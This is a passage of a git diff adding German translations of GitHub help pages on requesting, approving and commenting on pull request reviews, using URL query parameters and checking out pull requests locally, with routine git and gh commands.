+intro: 'Nachdem du einen Pull Request erstellt hast, kannst du eine bestimmte Person bitten, die von dir vorgeschlagenen Änderungen zu prüfen. Als Organisationsmitglied kannst du den Review auch von einem bestimmten Team anfordern.'
+product: '{% data reusables.gated-features.multiple-pr-reviewers %}'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review
+  - /articles/requesting-a-pull-request-review
+  - /github/collaborating-with-issues-and-pull-requests/requesting-a-pull-request-review
+  - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Request a PR review
+ms.openlocfilehash: b7b797d7e9ad2fdf9c1df29e7e5aad66f942b538
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145133902'
+---
+Repositorys gehören zu einem persönlichen Konto (einem einzelnen Besitzer) oder einem Organisationskonto (einem freigegebenen Konto mit zahlreichen Mitarbeitern oder Betreuern). Weitere Informationen findest du unter [Typen von {% data variables.product.prodname_dotcom %}-Konten](/get-started/learning-about-github/types-of-github-accounts). Besitzer und Mitarbeiter eines Repositorys, das einem persönlichen Konto gehört, können Pull Request-Reviews zuweisen. Organisationsmitglieder mit Selektierungsberechtigungen können auch einen Reviewer für einen Pull Request zuweisen. 
+
+Zum Zuweisen eines Reviewers zu einem Pull Request benötigst du Schreibzugriff auf das Repository. Weitere Informationen zum Repositoryzugriff findest du unter [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization). Wenn du über Schreibzugriff verfügst, kannst du jeden, der Lesezugriff auf das Repository hat, als Reviewer zuweisen.
+
+Organisationsmitglieder können jeder Person oder jedem Team mit Lesezugriff auf ein Repository einen Pull Request-Review zuweisen. Der angeforderte Reviewer respektive das angeforderte Team erhält eine Benachrichtigung, dass Du einen Pull-Request-Review von ihm angefordert hast. Wenn du von einem Team einen Review anforderst und die Code Review-Zuweisung aktiviert ist, werden spezifische Mitglieder angefordert, und das Team wird als Reviewer entfernt. Weitere Informationen findest du unter [Verwalten von Code-Review-Einstellungen für dein Team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team).
+
+{% note %}
+
+**Hinweis**: Ersteller eines Pull Requests können nur dann einen Review anfordern, wenn sie Repositorybesitzer oder Mitarbeiter mit Schreibzugriff auf das Repository sind.
+
+{% endnote %}
+
+Du kannst den Review entweder von einer vorgeschlagenen oder von einer bestimmten Person anfordern. Vorgeschlagene Reviewer basieren auf [Git-Blame-Daten](/articles/tracking-changes-in-a-file/). Wenn Du einen Review anforderst, können trotzdem auch andere Personen mit Lesezugriff Deinen Pull Request prüfen. Sobald jemand Deinen Pull-Request überprüft hat und Du die notwendigen Änderungen vorgenommen hast, kannst du einen erneuten Review vom gleichen Prüfer anfordern. Wenn der angeforderte Reviewer keinen Review sendet und der Pull Request die [Mergeanforderungen](/articles/defining-the-mergeability-of-pull-requests) des Repositorys erfüllt, kann der Pull Request dennoch gemergt werden.
+
+{% data reusables.repositories.sidebar-pr %}
+1. Klicke in der Liste der Pull Requests auf den Pull Request, den eine bestimmte Person oder ein Team prüfen soll.
+2. Navigiere auf der rechten Randleiste zu **Reviewer**.  
+3. Wenn du einen Review von einer vorgeschlagenen Person unter **Reviewer** anfordern möchtest, klicke neben dem betreffenden Benutzernamen auf **Anfordern**.
+ ![Symbol für Revieweranforderung auf der rechten Randleiste](/assets/images/help/pull_requests/request-suggested-review.png)
+5. Optional kannst du den Review auch von einer anderen als der vorgeschlagenen Person anfordern. Klicke hierzu auf **Reviewer** und dann im Dropdownmenü auf den Namen der gewünschten Person.
+  ![Symbol für Reviewereinstellung auf der rechten Randleiste](/assets/images/help/pull_requests/request-a-review-not-suggested.png)
+6. Sofern du den Namen der Person oder des Teams kennst, die bzw. das als Reviewer eingesetzt werden soll, kannst du optional auch sofort auf **Reviewer** klicken und den Benutzernamen der Person oder des Teams eingeben. Klicke dann auf den Team- oder Benutzernamen, um den Review anzufordern.
+  ![Feld zum Eingeben des Benutzernamens eines Reviewers und Dropdownmenü mit Namen des Reviewers](/assets/images/help/pull_requests/choose-pull-request-reviewer.png)
+7. Nachdem Dein Pull Request geprüft wurde und Du die erforderlichen Änderungen vorgenommen hast, kannst Du einen Prüfer um einen erneuten Review Deines Pull Request bitten. Navigiere auf der linken Randleiste zu **Reviewer**, und klicke neben dem Namen des Reviewers, der den Review durchführen soll, auf {% octicon "sync" aria-label="The sync icon" %}.
+  ![Schaltfläche zum Synchronisieren eines erneuten Reviews auf der rechten Randleiste](/assets/images/help/pull_requests/request-re-review.png)
+
+## Weiterführende Themen
+
+- [Informationen zu Pull Request-Reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md
new file mode 100644
index 0000000000..751b93616d
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md
@@ -0,0 +1,41 @@
+---
+title: Verwenden von Abfrageparametern zum Erstellen eines Pull Requests
+intro: 'Verwende Abfrageparameter, um benutzerdefinierte URLs zu erstellen, um Pull Requests mit vorausgefüllten Feldern zu öffnen.'
+redirect_from:
+  - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+ms.openlocfilehash: 89ca4b13ff6291f7b4449d25b3daa911734a22b9
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145133901'
+---
+Du kannst Abfrageparameter verwenden, um Pull Requests zu öffnen. Abfrageparameter sind optionale Bestandteile einer URL, die du anpassen kannst, um eine bestimmte Ansicht einer Webseite freizugeben, z. B. Suchfilterergebnisse oder eine Pull Request-Vorlage auf {% data variables.product.prodname_dotcom %}. Um eigene Abfrageparameter zu erstellen, musst du Schlüssel- und Wertepaar abgleichen.
+
+{% tip %}
+
+**Tipp:** Du kannst auch Pull-Request-Vorlagen erstellen, die mit Standardbezeichnungen, zugewiesenen Personen und einem Pull-Request-Titel geöffnet werden. Weitere Informationen findest du unter [Verwenden von Vorlagen zur Unterstützung nützlicher Issues und Pull Requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests).
+
+{% endtip %}
+
+Du musst die erforderlichen Berechtigungen für jede Aktion haben, um den entsprechenden Abfrageparameter zu verwenden. Du musst zum Beispiel über die Berechtigung verfügen, einem Pull Request eine Bezeichnung hinzuzufügen, um den Abfrageparameter `labels` zu verwenden. Weitere Informationen findest du unter [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization).
+
+Wenn du mithilfe von Suchparametern eine ungültige URL erstellst oder nicht über die erforderlichen Berechtigungen verfügst, gibt die URL eine `404 Not Found`-Fehlerseite zurück. Wenn du eine URL erstellst, die das Serverlimit überschreitet, gibt die URL eine `414 URI Too Long`-Fehlerseite zurück.
+
+Query parameter (Abfrageparameter) | Beispiel
+---  | ---
+`quick_pull` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1` erstellt einen Pull Request, der den Basisbranch `main` und den Headbranch `my-branch` vergleicht. Mithilfe der `quick_pull=1`-Abfrage gelangst du direkt zur Seite „Pull Request öffnen“.
+`title` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&labels=bug&title=Bug+fix+report` erstellt einen Pull Request mit der Bezeichnung „bug“ und dem Titel „Bug fix“.
+`body` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&title=Bug+fix&body=Describe+the+fix.` erstellt einen Pull Request mit dem Titel „Bug fix“ und dem Kommentar „Describe the fix“ im Pull Request-Text.
+`labels` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&labels=help+wanted,bug` erstellt einen Pull Request mit den Bezeichnungen „help wanted“ und „bug“.
+`milestone` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&milestone=testing+milestones` erstellt einen Pull Request mit dem Meilenstein „testing milestones“.
+`assignees` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&assignees=octocat` erstellt einen Pull Request und weist ihn @octocat zu.
+`projects` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&title=Bug+fix&projects=octo-org/1` erstellt einen Pull Request mit dem Titel „Bug fix“ und fügt ihn Projektboard 1 der Organisation hinzu.
+`template` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&template=issue_template.md` erstellt einen Pull Request mit einer Vorlage im Pull Request-Text. Der Abfrageparameter `template` funktioniert mit Vorlagen, die in einem Unterverzeichnis `PULL_REQUEST_TEMPLATE` innerhalb des Stammverzeichnisses bzw. der Verzeichnisse `docs/` oder `.github/` in einem Repository gespeichert sind. Weitere Informationen findest du unter [Verwenden von Vorlagen zur Unterstützung nützlicher Issues und Pull Requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests).
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md
new file mode 100644
index 0000000000..df35d911fb
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md
@@ -0,0 +1,73 @@
+---
+title: Informationen zu Pull-Request-Reviews
+intro: 'Bei Reviews können Mitarbeiter*innen die in Pull Requests vorgeschlagenen Änderungen kommentieren, die Änderungen genehmigen oder weitere Änderungen anfordern, bevor der Pull Request gemergt wird. Repositoryadministrator*innen können festlegen, dass alle Pull Requests vor dem Mergen genehmigt werden müssen.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews
+  - /articles/about-pull-request-reviews
+  - /github/collaborating-with-issues-and-pull-requests/about-pull-request-reviews
+  - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: About PR reviews
+ms.openlocfilehash: b68da308dc1e405f2b8fff5b0dd85dadbeabef80
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146179407'
+---
+## Informationen zu Pull-Request-Reviews
+
+Nachdem ein Pull Request geöffnet wurde, kann jeder mit *Lese*-Zugriff die vorgeschlagenen Änderungen überprüfen und kommentieren. Du kannst auch spezifische Änderungen an Codezeilen vorschlagen, die der Autor direkt aus dem Pull-Request anwenden kann. Weitere Informationen findest du unter [Überprüfen vorgeschlagener Änderungen in einem Pull Request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request).
+
+{% ifversion pull-request-approval-limit %}{% data reusables.pull_requests.code-review-limits %}{% endif %}
+
+Repository-Inhaber und -Mitarbeiter können von einer bestimmten Person einen Review des Pull Requests anfordern. Organisationsmitglieder können auch einen Review eines Pull Requests von einem Team mit Lesezugriff auf das Repository anfordern. Weitere Informationen findest du unter [Anfordern einer Pull Request-Überprüfung](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review). Du kannst eine Teilmenge von Teammitgliedern angeben, die automatisch anstelle des gesamten Teams zugewiesen werden sollen. Weitere Informationen findest du unter [Verwalten von Code-Review-Einstellungen für dein Team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team).
+
+Reviews ermöglichen eine Diskussion der vorgeschlagenen Änderungen und tragen dazu bei, dass die Änderungen den Beitragsrichtlinien des Repositorys wie auch anderen Qualitätsstandards entsprechen. Du kannst definieren, welche Personen oder Teams bestimmte Codetypen oder -bereiche in einer CODEOWNERS-Datei besitzen. Wenn durch einen Pull Request Code mit einem definierten Inhaber geändert wird, wird diese Person oder dieses Team automatisch als Reviewer angefordert. Weitere Informationen findest du unter [Informationen zu Codebesitzern](/articles/about-code-owners/).
+
+{% ifversion fpt or ghec %}Du kannst Erinnerungen für Pull Requests planen, die überprüft werden müssen. Weitere Informationen findest du unter [Verwalten geplanter Erinnerungen für Pull Requests](/github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests).{% endif %}
+
+![Header eines Reviews, der Änderungen mit Zeilenkommentaren anfordert](/assets/images/help/pull_requests/review-header-with-line-comment.png)
+
+Ein Review kann drei verschiedene Status haben:
+- **Kommentieren**: Sende allgemeines Feedback, ohne die Änderungen ausdrücklich zu genehmigen oder zusätzliche Änderungen anzufordern.
+- **Genehmigen**: Sende Feedback und genehmige das Mergen der im Pull Request vorgeschlagenen Änderungen.
+- **Änderungen anfordern**: Sende Feedback, auf das eingegangen werden muss, bevor der Pull Request gemergt werden kann.
+
+![Bild des Review-Status](/assets/images/help/pull_requests/pull-request-review-statuses.png)
+
+{% data reusables.repositories.request-changes-tips %}
+
+Du kannst alle Reviews eines Pull Requests in der Zeitleiste der Unterhaltung anzeigen, und du kannst Reviews von Repository-Inhabern und -Mitarbeitern im Merge-Feld des Pull Requests sehen.
+
+![Bild von Reviews in einem Merge-Feld](/assets/images/help/pull_requests/merge_box/pr-reviews-in-merge-box.png)
+
+{% data reusables.search.requested_reviews_search_tip %}
+
+{% data reusables.pull_requests.resolving-conversations %}
+
+## Erneutes Anfordern einer Überprüfung
+
+{% data reusables.pull_requests.re-request-review %}
+
+## Erforderliche Reviews
+
+{% data reusables.pull_requests.required-reviews-for-prs-summary %} Weitere Informationen findest du unter [Informationen zu geschützten Branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging).
+
+{% tip %}
+
+**Tipp**: Bei Bedarf können Personen mit *Administrator*- oder *Schreibzugriff* auf ein Repository eine Pull Request-Überprüfung schließen. Weitere Informationen findest du unter [Schließen eines Pull Request-Reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review).
+
+{% endtip %}
+
+## Weiterführende Themen
+
+- [Überprüfen vorgeschlagener Änderungen in einem Pull Request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)
+- [Anzeigen einer Pull Request-Überprüfung](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review)
+- [Festlegen von Richtlinien für Repositorymitwirkende](/articles/setting-guidelines-for-repository-contributors)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews.md
new file mode 100644
index 0000000000..788075dfa3
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews.md
@@ -0,0 +1,47 @@
+---
+title: Einen Pull Request mit erforderlichen Reviews genehmigen
+intro: 'Wenn dein Repository Reviews verlangt, müssen Pull Requests eine bestimmte Anzahl an genehmigenden Reviews von Personen mit _Schreib_- oder _Administratorberechtigungen_ im Repository aufweisen, bevor sie zusammengeführt werden können.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews
+  - /articles/approving-a-pull-request-with-required-reviews
+  - /github/collaborating-with-issues-and-pull-requests/approving-a-pull-request-with-required-reviews
+  - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Required reviews
+ms.openlocfilehash: 4554ac9e9b9d0c0f184e0b6b60e732806d2f4a17
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145133893'
+---
+Weitere Informationen zu erforderlichen Reviews findest du unter [Informationen zu geschützten Branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging).
+
+Du kannst Pull Requests kommentieren, die Änderungen genehmigen oder vor der Genehmigung Verbesserungen anfordern. Weitere Informationen findest du unter [Überprüfen vorgeschlagener Änderungen in einem Pull Request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request).
+
+{% data reusables.search.requested_reviews_search %}
+
+{% tip %}
+
+**Tipp**: Wenn ein Pull Request, den du genehmigt hast, signifikant geändert wurde, kannst du deinen Review verwerfen. Der Pull Request benötigt dann einen neuen Review, bevor er zusammengeführt werden kann. Weitere Informationen findest du unter [Schließen eines Pull Request-Reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review).
+
+{% endtip %}
+
+{% data reusables.repositories.sidebar-pr %} {% data reusables.repositories.choose-pr-review %} {% data reusables.repositories.changed-files %}
+4. Überprüfe die Änderungen am Pull Request, und [kommentiere optional bestimmte Zeilen](/articles/reviewing-proposed-changes-in-a-pull-request/#starting-a-review).
+{% data reusables.repositories.review-changes %} {% data reusables.repositories.review-summary-comment %}
+7. Wähle **Genehmigen** aus, um das Zusammenführen der im Pull Request vorgeschlagenen Änderungen zu genehmigen.
+{% data reusables.repositories.submit-review %}
+
+{% data reusables.repositories.request-changes-tips %}
+
+## Weiterführende Themen
+
+- [Überprüfen vorgeschlagener Änderungen in einem Pull Request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)
+- [Kommentieren eines Pull Requests](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
new file mode 100644
index 0000000000..c90c90b546
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
@@ -0,0 +1,105 @@
+---
+title: Pull Requests lokal auschecken
+intro: 'Wenn dir jemand einen Pull Request aus einem Fork oder Branch deines Repositorys schickt, kannst du ihn lokal zusammenführen, um einen Mergekonflikt zu lösen oder die Änderungen vor dem Zusammenführen auf {% data variables.product.product_name %} zu testen und zu überprüfen.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally
+  - /articles/checking-out-pull-requests-locally
+  - /github/collaborating-with-issues-and-pull-requests/checking-out-pull-requests-locally
+  - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally
+permissions: Anyone with write access to a repository can pull a remote pull request down locally.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Check out a PR locally
+ms.openlocfilehash: bdb63d3951c92996ca4d6dc393bdc49b8d37acce
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145133890'
+---
+{% note %}
+
+  **Hinweis**: Nur die Ersteller von Pull Requests können Betreuern von Upstreamrepositorys oder Benutzern mit Pushzugriff auf das Upstreamrepository die Berechtigung erteilen, in einem benutzereigenen Fork Commits für den Vergleichsbranch ihres Pull Requests vorzunehmen. Weitere Informationen findest du unter [Zulassen von Änderungen an einem Pull Request-Branch, der aus einem Fork erstellt wurde](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork).
+
+  {% endnote %}
+
+## Einen aktiven Pull Request lokal ändern
+
+{% webui %}
+
+{% data reusables.repositories.sidebar-pr %}
+2. Klicke in der Liste der Pull Requests auf den Pull Request, den du ändern möchtest.{% ifversion fpt or ghec %}
+3. Wenn du auswählen möchtest, wo der Pull Request geöffnet werden soll, wähle die Dropdownliste **Öffnen mit {% octicon "triangle-down" aria-label="The down triangle icon" %}**, und klicke auf eine der Registerkarten.
+  ![Link zum Zugriff auf Befehlszeilenanweisungen für Pull Requests](/assets/images/help/pull_requests/open-with-button.png){% else %}
+3. Klicke im Mergefeld auf **Befehlszeilenanweisungen**. Führe nacheinander die folgenden Schritte durch, um den vorgeschlagenen Pull Request herunterzuladen.
+  ![Link zum Zugriff auf Befehlszeilenanweisungen für Pull Requests](/assets/images/help/pull_requests/pull_request_show_command_line_merge.png)
+4. Optional: Wenn du die vorgeschlagenen Änderungen in {% data variables.product.prodname_desktop %} ansehen möchtest, klicke auf **Dies in {% data variables.product.prodname_desktop %} öffnen**.
+  ![Links zum Öffnen eines Pull Requests auf dem lokalen Desktop](/assets/images/help/desktop/open-pr-in-desktop.png){% endif %}
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+Um einen Pull Request lokal auszuchecken, verwende den Unterbefehl `gh pr checkout`. Ersetze `pull-request` durch die Nummer, die URL oder den HEAD-Branch des Pull Requests.
+
+```shell
+gh pr checkout <em>pull-request</em>
+```
+
+{% endcli %}
+
+## Einen inaktiven Pull Request lokal ändern
+
+Wenn der Autor eines Pull Requests auf Anfragen nicht reagiert oder seine Fork gelöscht hat, kann der Pull-Request trotzdem noch zusammengeführt werden. Wenn du jedoch einen Pull Request ändern willst und der Autor nicht antwortet, musst du einige zusätzliche Schritte durchführen, um den Pull Request zu aktualisieren.
+
+Sobald ein Pull-Request geöffnet ist, werden alle Änderungen von {% data variables.product.product_name %} remote gespeichert. Anders gesagt sind Commits in einem Pull Request schon in einem Repository verfügbar, noch bevor der Pull Request zusammengeführt wird. Du kannst einen offenen Pull Request abrufen und als deinen eigenen neu erstellen.
+
+Jeder kann einen zuvor geöffneten Pull Request weiter bearbeiten, testen oder sogar einen neuen Pull Request mit zusätzlichen Änderungen öffnen. Aber nur Mitarbeiter mit Push-Zugriff können Pull Requests zusammenführen.
+
+{% data reusables.repositories.sidebar-issue-pr %}
+2. Klicke in der Liste „Pull Requests“ auf den Pull Request, den du zusammenführen möchtest.
+3. Ermittle die ID-Nummer des inaktiven Pull Requests. Die ID ist die Ziffernfolge direkt hinter dem Titel des Pull Requests.
+  ![ID-Nummer des Pull Requests](/assets/images/help/pull_requests/pull_request_id_number.png) {% data reusables.command_line.open_the_multi_os_terminal %}
+5. Rufe den Verweis zum Pull Request basierend auf seiner ID-Nummer ab, und erstelle dabei einen neuen Branch.
+  ```shell
+  $ git fetch origin pull/<em>ID</em>/head:<em>BRANCHNAME</em>
+  ```
+6. Wechsle zu dem neuen Branch, der auf diesem Pull Request basiert:
+  ```shell
+  [main] $ git checkout <em>BRANCHNAME</em>
+  > Switched to a new branch '<em>BRANCHNAME</em>'
+  ```
+7. An diesem Punkt kannst du mit diesem Branch machen, was du möchtest. Du kannst einige lokale Tests ausführen oder andere Branches in den Branch mergen.
+8. Wenn du fertig bist, kannst du den neuen Branch nach oben übertragen:
+  ```shell
+  [pull-inactive-pull-request] $ git push origin <em>BRANCHNAME</em>
+  > Counting objects: 32, done.
+  > Delta compression using up to 8 threads.
+  > Compressing objects: 100% (26/26), done.
+  > Writing objects: 100% (29/29), 74.94 KiB | 0 bytes/s, done.
+  > Total 29 (delta 8), reused 0 (delta 0)
+  > To https://{% data variables.command_line.codeblock %}/<em>username</em>/<em>repository</em>.git
+  >  * [new branch]      <em>BRANCHNAME</em> -> <em>BRANCHNAME</em>
+  ```
+9. [Erstelle einen neuen Pull Request](/articles/creating-a-pull-request) mit deinem neuen Branch.
+
+## Fehler: Pushen einiger Refs fehlgeschlagen
+
+Der Remotenamespace `refs/pull/` ist *schreibgeschützt*. Wenn du versuchst, Commits dorthin zu übertragen, wird die folgende Fehlermeldung angezeigt:
+```shell
+! [remote rejected] HEAD -> refs/pull/1/head (deny updating a hidden ref)
+error: failed to push some refs to 'git@github.local:<em>USERNAME</em>/<em>REPOSITORY</em>.git'
+```
+
+{% tip %}
+
+**Tipp**: Wenn du einen Remoteverweis entfernst oder umbenennst, ist dein lokaler `refs/pull/origin/`-Namespace von Aufrufen an `git-remote` nicht betroffen.
+
+{% endtip %}
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md
new file mode 100644
index 0000000000..84137312c4
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md
@@ -0,0 +1,67 @@
+---
+title: Einen Pull Request kommentieren
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request
+  - /articles/adding-commit-comments
+  - /articles/commenting-on-the-diff-of-a-pull-request
+  - /articles/commenting-on-differences-between-files
+  - /articles/commenting-on-a-pull-request
+  - /github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request
+  - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request
+intro: 'Nachdem du einen Pull Request in einem Repository geöffnet hast, können Mitarbeiter und Teammitglieder den Vergleich der Dateien zwischen den zwei festgelegten Branches kommentieren oder allgemeine Kommentare zum Gesamtprojekt abgeben.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Comment on a PR
+ms.openlocfilehash: eb1b80fa6088bc083f0b2006a2c894a820cd6c10
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147578956'
+---
+## Informationen zu Pull Requests
+
+Auf der Registerkarte **Unterhaltung** eines Pull Requests kannst du allgemeine Kommentare, Fragen oder Vorschläge posten. Du kannst auch Änderungen vorschlagen, die der Autor des Pull Requests direkt aus deinem Kommentar übernehmen kann.
+
+![Pull-Request-Unterhaltung](/assets/images/help/pull_requests/conversation.png)
+
+Du kannst auf der Registerkarte **Geänderte Dateien** eines Pull Requests auch bestimmte Abschnitte einer Datei kommentieren. Dies kann in Form von einzelnen Zeilenkommentaren oder im Rahmen eines [Pull Request-Reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) erfolgen. Zeilenkommentare sind eine großartige Möglichkeit, Fragen zur Implementierung zu besprechen oder dem Autor Feedback zu geben.
+
+Weitere Informationen zum Hinzufügen von Zeilenkommentaren zu einem Pull-Request-Review findest du unter [Überprüfen der vorgeschlagenen Änderungen in einem Pull Request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request).
+
+{% note %}
+
+**Hinweis**: Wenn du per E-Mail auf einen Pull Request antwortest, wird dein Kommentar auf der Registerkarte **Unterhaltung** hinzugefügt und ist nicht Teil eines Pull Request-Reviews.
+
+{% endnote %}
+
+Um auf einen vorhandenen Zeilenkommentar zu antworten, musst du auf der Registerkarte **Unterhaltung** oder **Geänderte Dateien** zu dem Kommentar navigieren und unter diesem einen weiteren Zeilenkommentar hinzufügen.
+
+{% tip %}
+
+**Tipps:**
+- Pull Request-Kommentare unterstützen dieselbe [Formatierung](/categories/writing-on-github) wie reguläre Kommentare zu {% data variables.product.product_name %}, z. B. @mentions, Emojis und Verweise.
+- Du kannst Kommentaren zu Pull Requests auf der Registerkarte **Geänderte Dateien** Reaktionen hinzufügen.
+
+{% endtip %}
+
+## Zeilenkommentare zu einem Pull Request hinzufügen
+
+{% data reusables.repositories.sidebar-pr %}
+2. Klicke in der Liste der Pull Requests auf den Pull Request, bei dem du Zeilenkommentare einfügen möchtest.
+{% data reusables.repositories.changed-files %} {% data reusables.repositories.start-line-comment %} {% data reusables.repositories.type-line-comment %} {% data reusables.repositories.suggest-changes %}
+5. Wenn du fertig bist, klicke auf **Einzelnen Kommentar hinzufügen**.
+  ![Inline-Kommentarfenster](/assets/images/help/commits/inline-comment.png)
+
+Alle, die den Pull Request oder das Repository beobachten, erhalten eine Benachrichtigung über deinen Kommentar.
+
+{% data reusables.pull_requests.resolving-conversations %}
+
+## Weiterführende Themen
+
